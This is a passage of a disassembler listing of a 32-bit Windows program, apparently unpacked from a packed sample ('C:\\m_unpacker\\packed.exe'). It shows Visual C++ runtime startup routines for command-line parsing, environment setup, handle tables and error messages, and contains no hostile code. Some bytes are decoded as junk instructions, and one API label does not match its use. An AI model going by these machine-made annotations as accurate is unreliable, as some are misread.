; ---------------------------------------------------------------------------
loc_4236BB: ; CODE XREF: sub_42367B+19j
cmp al, 20h
jbe short loc_4236C5
loc_4236BF: ; CODE XREF: sub_42367B+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_4236BF
loc_4236C5: ; CODE XREF: sub_42367B+3Bj
; sub_42367B+3Ej ...
mov al, [esi]
test al, al
jz short loc_4236CF
cmp al, 20h
jbe short loc_4236B8
loc_4236CF: ; CODE XREF: sub_42367B+4Ej
mov eax, esi
pop esi
retn
sub_42367B endp
; =============== S U B R O U T I N E =======================================
sub_4236D3 proc near ; CODE XREF: sub_41E1D3+8Ep
push ebx
xor ebx, ebx
cmp dword_4DD3B4, ebx
push esi
push edi
jnz short loc_4236E5
call sub_420B0D
loc_4236E5: ; CODE XREF: sub_4236D3+Bj
mov esi, dword_4DBE44
xor edi, edi
loc_4236ED: ; CODE XREF: sub_4236D3+30j
mov al, [esi]
cmp al, bl
jz short loc_423705
cmp al, 3Dh
jz short loc_4236F8
inc edi
loc_4236F8: ; CODE XREF: sub_4236D3+22j
push esi
call sub_41B9C0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4236ED
; ---------------------------------------------------------------------------
loc_423705: ; CODE XREF: sub_4236D3+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DBE14, esi
jnz short loc_423727
push 9
call sub_41E2C9
pop ecx
loc_423727: ; CODE XREF: sub_4236D3+4Aj
mov edi, dword_4DBE44
cmp [edi], bl
jz short loc_42376A
push ebp
loc_423732: ; CODE XREF: sub_4236D3+94j
push edi
call sub_41B9C0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423763
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423756
push 9
call sub_41E2C9
pop ecx
loc_423756: ; CODE XREF: sub_4236D3+79j
push edi
push dword ptr [esi]
call sub_41C890
pop ecx
add esi, 4
pop ecx
loc_423763: ; CODE XREF: sub_4236D3+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_423732
pop ebp
loc_42376A: ; CODE XREF: sub_4236D3+5Cj
push dword_4DBE44
call sub_41BA91
pop ecx
mov dword_4DBE44, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DD3B0, 1
pop ebx
retn
sub_4236D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42378C proc near ; CODE XREF: sub_41E1D3+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DD3B4, ebx
push esi
push edi
jnz short loc_4237A3
call sub_420B0D
loc_4237A3: ; CODE XREF: sub_42378C+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_427078 ; GetModuleFileNameA
mov eax, dword_4DD3AC
mov off_4DBE24, esi
mov edi, esi
cmp [eax], bl
jz short loc_4237C8
mov edi, eax
loc_4237C8: ; CODE XREF: sub_42378C+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_423825
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41BEB5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4237F8
push 8
call sub_41E2C9
pop ecx
loc_4237F8: ; CODE XREF: sub_42378C+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423825
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4DBE0C, esi
pop edi
pop esi
mov dword_4DBE08, eax
pop ebx
leave
retn
sub_42378C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423825 proc near ; CODE XREF: sub_42378C+47p
; sub_42378C+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42384F
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42384F: ; CODE XREF: sub_423825+20j
cmp byte ptr [eax], 22h
jnz short loc_423898
loc_423854: ; CODE XREF: sub_423825+58j
; sub_423825+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423886
test dl, dl
jz short loc_423886
movzx edx, dl
test byte_4DD281[edx], 4
jz short loc_423879
inc dword ptr [ecx]
test esi, esi
jz short loc_423879
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423879: ; CODE XREF: sub_423825+46j
; sub_423825+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423854
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423854
; ---------------------------------------------------------------------------
loc_423886: ; CODE XREF: sub_423825+36j
; sub_423825+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423890
and byte ptr [esi], 0
inc esi
loc_423890: ; CODE XREF: sub_423825+65j
cmp byte ptr [eax], 22h
jnz short loc_4238DB
inc eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_423898: ; CODE XREF: sub_423825+2Dj
; sub_423825+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_4238A3
mov dl, [eax]
mov [esi], dl
inc esi
loc_4238A3: ; CODE XREF: sub_423825+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DD281[ebx], 4
jz short loc_4238BE
inc dword ptr [ecx]
test esi, esi
jz short loc_4238BD
mov bl, [eax]
mov [esi], bl
inc esi
loc_4238BD: ; CODE XREF: sub_423825+91j
inc eax
loc_4238BE: ; CODE XREF: sub_423825+8Bj
cmp dl, 20h
jz short loc_4238CC
test dl, dl
jz short loc_4238D0
cmp dl, 9
jnz short loc_423898
loc_4238CC: ; CODE XREF: sub_423825+9Cj
test dl, dl
jnz short loc_4238D3
loc_4238D0: ; CODE XREF: sub_423825+A0j
dec eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_4238D3: ; CODE XREF: sub_423825+A9j
test esi, esi
jz short loc_4238DB
and byte ptr [esi-1], 0
loc_4238DB: ; CODE XREF: sub_423825+6Ej
; sub_423825+71j ...
and [ebp+arg_10], 0
loc_4238DF: ; CODE XREF: sub_423825+19Ej
cmp byte ptr [eax], 0
jz loc_4239C8
loc_4238E8: ; CODE XREF: sub_423825+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4238F4
cmp dl, 9
jnz short loc_4238F7
loc_4238F4: ; CODE XREF: sub_423825+C8j
inc eax
jmp short loc_4238E8
; ---------------------------------------------------------------------------
loc_4238F7: ; CODE XREF: sub_423825+CDj
cmp byte ptr [eax], 0
jz loc_4239C8
test edi, edi
jz short loc_42390C
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42390C: ; CODE XREF: sub_423825+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423911: ; CODE XREF: sub_423825+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_42391A: ; CODE XREF: sub_423825+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423923
inc eax
inc ebx
jmp short loc_42391A
; ---------------------------------------------------------------------------
loc_423923: ; CODE XREF: sub_423825+F8j
cmp byte ptr [eax], 22h
jnz short loc_423954
test bl, 1
jnz short loc_423952
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423941
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423941
mov eax, edx
jmp short loc_423944
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_423825+10Dj
; sub_423825+116j
mov [ebp+arg_0], edi
loc_423944: ; CODE XREF: sub_423825+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423952: ; CODE XREF: sub_423825+106j
shr ebx, 1
loc_423954: ; CODE XREF: sub_423825+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423969
inc ebx
loc_42395C: ; CODE XREF: sub_423825+142j
test esi, esi
jz short loc_423964
mov byte ptr [esi], 5Ch
inc esi
loc_423964: ; CODE XREF: sub_423825+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42395C
loc_423969: ; CODE XREF: sub_423825+134j
mov dl, [eax]
test dl, dl
jz short loc_4239B9
cmp [ebp+arg_10], 0
jnz short loc_42397F
cmp dl, 20h
jz short loc_4239B9
cmp dl, 9
jz short loc_4239B9
loc_42397F: ; CODE XREF: sub_423825+14Ej
cmp [ebp+arg_0], 0
jz short loc_4239B3
test esi, esi
jz short loc_4239A2
movzx ebx, dl
test byte_4DD281[ebx], 4
jz short loc_42399B
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42399B: ; CODE XREF: sub_423825+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4239B1
; ---------------------------------------------------------------------------
loc_4239A2: ; CODE XREF: sub_423825+162j
movzx edx, dl
test byte_4DD281[edx], 4
jz short loc_4239B1
inc eax
inc dword ptr [ecx]
loc_4239B1: ; CODE XREF: sub_423825+17Bj
; sub_423825+187j
inc dword ptr [ecx]
loc_4239B3: ; CODE XREF: sub_423825+15Ej
inc eax
jmp loc_423911
; ---------------------------------------------------------------------------
loc_4239B9: ; CODE XREF: sub_423825+148j
; sub_423825+153j ...
test esi, esi
jz short loc_4239C1
and byte ptr [esi], 0
inc esi
loc_4239C1: ; CODE XREF: sub_423825+196j
inc dword ptr [ecx]
jmp loc_4238DF
; ---------------------------------------------------------------------------
loc_4239C8: ; CODE XREF: sub_423825+BDj
; sub_423825+D5j
test edi, edi
jz short loc_4239CF
and dword ptr [edi], 0
loc_4239CF: ; CODE XREF: sub_423825+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423825 endp
; =============== S U B R O U T I N E =======================================
sub_4239D9 proc near ; CODE XREF: sub_41E1D3+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_4DBFB4
push ebx
push ebp
mov ebp, dword_427030
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423A27
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_423A08
mov dword_4DBFB4, 1
jmp short loc_423A30
; ---------------------------------------------------------------------------
loc_423A08: ; CODE XREF: sub_4239D9+21j
call dword_427034 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_423B02
mov dword_4DBFB4, 2
jmp loc_423AB6
; ---------------------------------------------------------------------------
loc_423A27: ; CODE XREF: sub_4239D9+19j
cmp eax, 1
jnz loc_423AB1
loc_423A30: ; CODE XREF: sub_4239D9+2Dj
cmp esi, ebx
jnz short loc_423A40
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_423B02
loc_423A40: ; CODE XREF: sub_4239D9+59j
cmp [esi], bx
mov eax, esi
jz short loc_423A55
loc_423A47: ; CODE XREF: sub_4239D9+73j
; sub_4239D9+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
loc_423A55: ; CODE XREF: sub_4239D9+6Cj
sub eax, esi
mov edi, dword_427188
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_423AA6
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_423AA6
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_423AA2
push [esp+18h+var_8]
call sub_41BA91
pop ecx
mov [esp+18h+var_8], ebx
loc_423AA2: ; CODE XREF: sub_4239D9+B9j
mov ebx, [esp+18h+var_8]
loc_423AA6: ; CODE XREF: sub_4239D9+99j
; sub_4239D9+A8j
push esi
call dword_427038 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423AB1: ; CODE XREF: sub_4239D9+51j
cmp eax, 2
jnz short loc_423B02
loc_423AB6: ; CODE XREF: sub_4239D9+49j
cmp edi, ebx
jnz short loc_423AC6
call dword_427034 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_423B02
loc_423AC6: ; CODE XREF: sub_4239D9+DFj
cmp [edi], bl
mov eax, edi
jz short loc_423AD6
loc_423ACC: ; CODE XREF: sub_4239D9+F6j
; sub_4239D9+FBj
inc eax
cmp [eax], bl
jnz short loc_423ACC
inc eax
cmp [eax], bl
jnz short loc_423ACC
loc_423AD6: ; CODE XREF: sub_4239D9+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423AEC
xor esi, esi
jmp short loc_423AF7
; ---------------------------------------------------------------------------
loc_423AEC: ; CODE XREF: sub_4239D9+10Dj
push ebp
push edi
push esi
call sub_41CD20
add esp, 0Ch
loc_423AF7: ; CODE XREF: sub_4239D9+111j
push edi
call dword_42703C ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: sub_4239D9+39j
; sub_4239D9+61j ...
xor eax, eax
loc_423B04: ; CODE XREF: sub_4239D9+D6j
; sub_4239D9+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4239D9 endp
; =============== S U B R O U T I N E =======================================
sub_423B0B proc near ; CODE XREF: sub_41E1D3+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423B2B
push 1Bh
call sub_41E2C9
pop ecx
loc_423B2B: ; CODE XREF: sub_423B0B+16j
mov dword_4DD060, esi
mov dword_4DD160, 20h
lea eax, [esi+100h]
loc_423B41: ; CODE XREF: sub_423B0B+52j
cmp esi, eax
jnb short loc_423B5F
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DD060
add esi, 8
add eax, 100h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B5F: ; CODE XREF: sub_423B0B+38j
lea eax, [esp+54h+var_44]
push eax
call dword_4271A8 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_423C3B
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_423C3B
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423B95
mov esi, eax
loc_423B95: ; CODE XREF: sub_423B0B+86j
cmp dword_4DD160, esi
jge short loc_423BEF
mov edi, offset dword_4DD064
loc_423BA2: ; CODE XREF: sub_423B0B+DAj
push 100h
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423BE9
add dword_4DD160, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423BC0: ; CODE XREF: sub_423B0B+CFj
cmp eax, ecx
jnb short loc_423BDC
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423BC0
; ---------------------------------------------------------------------------
loc_423BDC: ; CODE XREF: sub_423B0B+B7j
add edi, 4
cmp dword_4DD160, esi
jl short loc_423BA2
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BE9: ; CODE XREF: sub_423B0B+A4j
mov esi, dword_4DD160
loc_423BEF: ; CODE XREF: sub_423B0B+90j
; sub_423B0B+DCj
xor edi, edi
test esi, esi
jle short loc_423C3B
loc_423BF5: ; CODE XREF: sub_423B0B+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423C32
mov cl, [ebp+0]
test cl, 1
jz short loc_423C32
test cl, 8
jnz short loc_423C14
push eax
call dword_427024 ; GetFileType
test eax, eax
jz short loc_423C32
loc_423C14: ; CODE XREF: sub_423B0B+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD060[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423C32: ; CODE XREF: sub_423B0B+EFj
; sub_423B0B+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423BF5
loc_423C3B: ; CODE XREF: sub_423B0B+65j
; sub_423B0B+71j ...
xor ebx, ebx
loc_423C3D: ; CODE XREF: sub_423B0B+195j
mov eax, dword_4DD060
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423C98
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423C58
push 0FFFFFFF6h
pop eax
jmp short loc_423C62
; ---------------------------------------------------------------------------
loc_423C58: ; CODE XREF: sub_423B0B+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423C62: ; CODE XREF: sub_423B0B+14Bj
push eax
call dword_427028 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423C87
push edi
call dword_427024 ; GetFileType
test eax, eax
jz short loc_423C87
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423C8D
loc_423C87: ; CODE XREF: sub_423B0B+163j
; sub_423B0B+16Ej
or byte ptr [esi+4], 40h
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C8D: ; CODE XREF: sub_423B0B+17Aj
cmp eax, 3
jnz short loc_423C9C
or byte ptr [esi+4], 8
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C98: ; CODE XREF: sub_423B0B+13Ej
or byte ptr [esi+4], 80h
loc_423C9C: ; CODE XREF: sub_423B0B+180j
; sub_423B0B+185j ...
inc ebx
cmp ebx, 3
jl short loc_423C3D
push dword_4DD160
call dword_42702C ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_423B0B endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CC0 proc near ; DATA XREF: sub_41E1D3+Ao
; sub_4228FD+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423D60
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423CF3: ; CODE XREF: sub_423CC0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423D59
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423D47
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423D47
js short loc_423D52
mov edi, [ebx+8]
push ebx
call sub_41D550
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D592
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423D47: ; CODE XREF: sub_423CC0+40j
; sub_423CC0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423CF3
; ---------------------------------------------------------------------------
loc_423D52: ; CODE XREF: sub_423CC0+54j
mov eax, 0
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423CC0+36j
mov eax, 1
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D60: ; CODE XREF: sub_423CC0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D592
add esp, 8
pop ebp
mov eax, 1
loc_423D75: ; CODE XREF: sub_423CC0+97j
; sub_423CC0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423CC0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D592
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p
; sub_41E2EE+9p
mov eax, dword_4DBE4C
cmp eax, 1
jz short loc_423DAF
test eax, eax
jnz short locret_423DD0
cmp dword_43AE54, 1
jnz short locret_423DD0
loc_423DAF: ; CODE XREF: sub_423D98+8j
push 0FCh
call sub_423DD1
mov eax, dword_4DBFB8
pop ecx
test eax, eax
jz short loc_423DC5
call eax
loc_423DC5: ; CODE XREF: sub_423D98+29j
push 0FFh
call sub_423DD1
pop ecx
locret_423DD0: ; CODE XREF: sub_423D98+Cj
; sub_423D98+15j
retn
sub_423D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p
; sub_41E2EE+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D4E8
loc_423DE4: ; CODE XREF: sub_423DD1+20j
cmp edx, [eax]
jz short loc_423DF3
add eax, 8
inc ecx
cmp eax, offset off_43D578
jl short loc_423DE4
loc_423DF3: ; CODE XREF: sub_423DD1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D4E8[esi]
jnz loc_423F21
mov eax, dword_4DBE4C
cmp eax, 1
jz loc_423EFB
test eax, eax
jnz short loc_423E24
cmp dword_43AE54, 1
jz loc_423EFB
loc_423E24: ; CODE XREF: sub_423DD1+44j
cmp edx, 0FCh
jz loc_423F21
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_427078 ; GetModuleFileNameA
test eax, eax
jnz short loc_423E5B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C890
pop ecx
pop ecx
loc_423E5B: ; CODE XREF: sub_423DD1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B9C0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423E9E
lea eax, [ebp+var_1A4]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BFD0
add esp, 10h
loc_423E9E: ; CODE XREF: sub_423DD1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C890
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C8A0
lea eax, [ebp+var_A0]
push offset asc_427BF0 ; "\n\n"
push eax
call sub_41C8A0
push off_43D4EC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C8A0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425029
add esp, 2Ch
pop edi
jmp short loc_423F21
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423DD1+3Cj
; sub_423DD1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D4EC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B9C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_427028 ; GetStdHandle
push eax
call dword_4270F0 ; WriteFile
loc_423F21: ; CODE XREF: sub_423DD1+2Ej
; sub_423DD1+59j ...
pop esi
leave
retn
sub_423DD1 endp
; =============== S U B R O U T I N E =======================================
sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DD060
loc_423F33: ; CODE XREF: sub_423F24+48j
mov eax, [ecx]
test eax, eax
jz short loc_423F70
lea edx, [eax+100h]
loc_423F3F: ; CODE XREF: sub_423F24+28j
cmp eax, edx
jnb short loc_423F5F
test byte ptr [eax+4], 1
jz short loc_423F4E
add eax, 8
jmp short loc_423F3F
; ---------------------------------------------------------------------------
loc_423F4E: ; CODE XREF: sub_423F24+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423FB3
loc_423F5F: ; CODE XREF: sub_423F24+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DD160
jl short loc_423F33
jmp short loc_423FB3
; ---------------------------------------------------------------------------
loc_423F70: ; CODE XREF: sub_423F24+13j
mov esi, 100h
push esi
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423FB3
add dword_4DD160, 20h
lea ecx, ds:4DD060h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423F96: ; CODE XREF: sub_423F24+88j
cmp eax, edx
jnb short loc_423FAE
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423F96
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F24+74j
shl edi, 5
mov ebx, edi
loc_423FB3: ; CODE XREF: sub_423F24+39j
; sub_423F24+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423F24 endp
; =============== S U B R O U T I N E =======================================
sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD160
push edi
jnb short loc_424019
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD060h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_424019
cmp dword_43AE54, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42400F
sub eax, 0
jz short loc_424006
dec eax
jz short loc_424001
dec eax
jnz short loc_42400F
push ebx
push 0FFFFFFF4h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FB9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424006: ; CODE XREF: sub_423FB9+3Bj
push ebx
push 0FFFFFFF6h
loc_424009: ; CODE XREF: sub_423FB9+46j
; sub_423FB9+4Bj
call dword_427020 ; SetStdHandle
loc_42400F: ; CODE XREF: sub_423FB9+36j
; sub_423FB9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42402D
; ---------------------------------------------------------------------------
loc_424019: ; CODE XREF: sub_423FB9+Cj
; sub_423FB9+28j
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
or eax, 0FFFFFFFFh
loc_42402D: ; CODE XREF: sub_423FB9+5Ej
pop edi
pop esi
retn
sub_423FB9 endp
; =============== S U B R O U T I N E =======================================
sub_424030 proc near ; CODE XREF: sub_41E312+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DD160
push edi
jnb short loc_424093
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DD060h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_424093
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_424093
cmp dword_43AE54, 1
jnz short loc_424089
xor eax, eax
sub ecx, eax
jz short loc_424080
dec ecx
jz short loc_42407B
dec ecx
jnz short loc_424089
push eax
push 0FFFFFFF4h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_42407B: ; CODE XREF: sub_424030+41j
push eax
push 0FFFFFFF5h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_424030+3Ej
push eax
push 0FFFFFFF6h
loc_424083: ; CODE XREF: sub_424030+49j
; sub_424030+4Ej
call dword_427020 ; SetStdHandle
loc_424089: ; CODE XREF: sub_424030+38j
; sub_424030+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4240A7
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_424030+Cj
; sub_424030+2Aj ...
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
or eax, 0FFFFFFFFh
